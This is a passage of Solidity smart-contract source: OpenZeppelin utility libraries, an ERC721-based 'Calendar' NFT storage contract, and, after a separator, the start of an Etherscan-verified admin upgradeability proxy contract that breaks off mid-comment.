* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File contracts/erc721/CERC721Layout.sol
contract CERC721Layout is CERC165Layout {
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 internal constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping(address => EnumerableSet.UintSet) internal _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap internal _tokenOwners;
// Mapping from token ID to approved address
mapping(uint256 => address) internal _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) internal _operatorApprovals;
// Token name
string internal _name;
// Token symbol
string internal _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) internal _tokenURIs;
// Base URI
string internal _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 internal constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 internal constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 internal constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
}
// File contracts/context/ContextLogicBase.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextLogicBase {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File contracts/erc721/CERC721LogicBase.sol
contract CERC721LogicBase is CERC165LogicBase, ContextLogicBase, CERC721Layout {
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
}
// File contracts/erc721/CERC721Storage.sol
contract CERC721Storage is CERC721LogicBase {
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
}
// File contracts/ownable/OwnableLayout.sol
abstract contract OwnableLayout {
address internal _owner;
mapping(address => bool) internal _associatedOperators;
}
// File contracts/ownable/OwnableStorage.sol
contract OwnableStorage is OwnableLayout {
constructor (address owner) internal {
_owner = owner;
}
}
// File contracts/ownable/OwnableLogicBase.sol
contract OwnableLogicBase is OwnableLayout {
//nothing to do here
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/nfts/CalendarType.sol
library CalendarType {
struct Pair {
uint256 min;
uint256 max;
}
}
// File contracts/nfts/CalendarLayout.sol
//keep the layout order
contract CalendarLayout is CERC721Layout, OwnableLayout {
using SafeMath for uint256;
uint256 constant MILLION = 1000000;
uint256 internal _startTime;
address internal _dev;
uint256 internal _taxPerMillion;
uint256 internal _startPrice;
uint256 internal _bidPricePerMillion;
mapping(uint256 => uint256) internal _lastPrice;
mapping(uint256 => uint256) internal _calendarSkin;
mapping(uint256 => bytes) internal _calendarName;
mapping(uint256 => bytes) internal _calendarBlog;
}
// File contracts/nfts/CalendarLogicBase.sol
contract CalendarLogicBase is OwnableLogicBase, CERC721LogicBase, CalendarLayout {
}
// File contracts/nfts/CalendarStorage.sol
//don't change the layouts. notice that layout is behind storage
contract CalendarStorage is Proxy, OwnableStorage, CERC165Storage, CERC721Storage, CalendarLogicBase {
constructor (
string memory name_,
string memory symbol_,
string memory baseURI_,
uint256 startTime_,
uint256 startPrice_,
uint256 bidPricePerMillion_,
uint256 taxPerMillion_,
address dev_
) public Proxy(msg.sender) OwnableStorage(msg.sender) CERC165Storage() CERC721Storage(name_, symbol_) {
sysSetTransparent(0);
_setBaseURI(baseURI_);
_startTime = startTime_;
_startPrice = startPrice_;
_bidPricePerMillion = bidPricePerMillion_;
_taxPerMillion = taxPerMillion_;
require(dev_ != address(0), "dev should not be 0");
_dev = dev_;
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2020-09-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
